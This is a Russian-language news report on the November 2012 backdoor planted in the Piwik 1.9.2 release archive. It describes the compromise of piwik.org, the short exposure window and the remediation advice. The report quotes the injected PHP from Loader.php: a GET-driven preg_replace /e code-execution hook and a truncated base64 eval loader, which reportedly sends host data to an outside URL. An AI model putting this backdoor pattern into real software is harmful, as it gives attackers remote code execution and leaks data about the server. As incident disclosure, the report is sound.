Пользователи Open Source пакета для веб-статистики и аналитики Piwik обратили внимание на проблему с безопасностью. Сообщение об этом опубликовано в списке рассылки Seclists вечером 26 ноября.
В свежем архиве Piwik 1.9.2 в файле /piwik/core/Loader.php обнаружен подозрительный код.
Фрагмент:
<?php Error_Reporting(0); if(isset($_GET['g']) && isset($_GET['s'])) { preg_replace("/(.+)/e", $_GET['g'], 'dwm'); exit; } if (file_exists(dirname(__FILE__)."/lic.log")) exit; eval(gzuncompress(base64_decode('eF6Fkl9LwzAUxb+KD0I3EOmabhCkD/OhLWN [.......]
Это классическая PHP-инъекция.
Немецкий разработчик Макс Гробекер (Max Grobecker) декодировал часть кода и обнаружил, что он передаёт запрошенное имя хоcта (bp $_SERVER['HTTP_HOST']) и URI через POST-запрос на адрес http://prostoivse.com/x.php
и создаёт файл с названием "lic.log" в той же директории. После установки файла, вроде бы, никаких POST-запросов больше не следует.
Макс Гробекер точно не знает, какая цель была у разработчиков этого кода, но он выразил подозрение, что это нечто вроде бэкдора.
Подозрительный код попал в пакет распространение Piwik 26 ноября в 15:43 UTC. Точно известны люди, скачавшие пакет 26 ноября до этого времени, и у них нет такого кода, так что распространение вредоносного ПО продлилось недолго: всего восемь часов.
Макс Гробекер связался с разработчиками и менеджерами Piwik по этому вопросу— и они оперативно устранили проблему. Всем, кто установил версию Piwik 1.9.2 с бэкдором 26 ноября с 15:43 UTC до 23:59 UTC, рекомендуется удалить вредоносный код и сделать повторную установку. Разработчики пояснили, что злоумышленник взломал сервер Piwik.org с помощью уязвимого плагина WordPress и внедрил вредоносный код в один из программных файлов.
Piwik — система статистики с открытым исходным кодом, которая позиционируется как свободная и защищённая альтернатива Google Analytics или «Яндекс.Метрика». Защищённая в том смысле, что данные вашей статистики доступны только вам, но не «Большому брату». Piwik предназначен для установки на сервер и сразу предоставляет готовый функционал, а также даёт возможность подключения сторонних плагинов. Код полностью открыт и распространяется под GPL.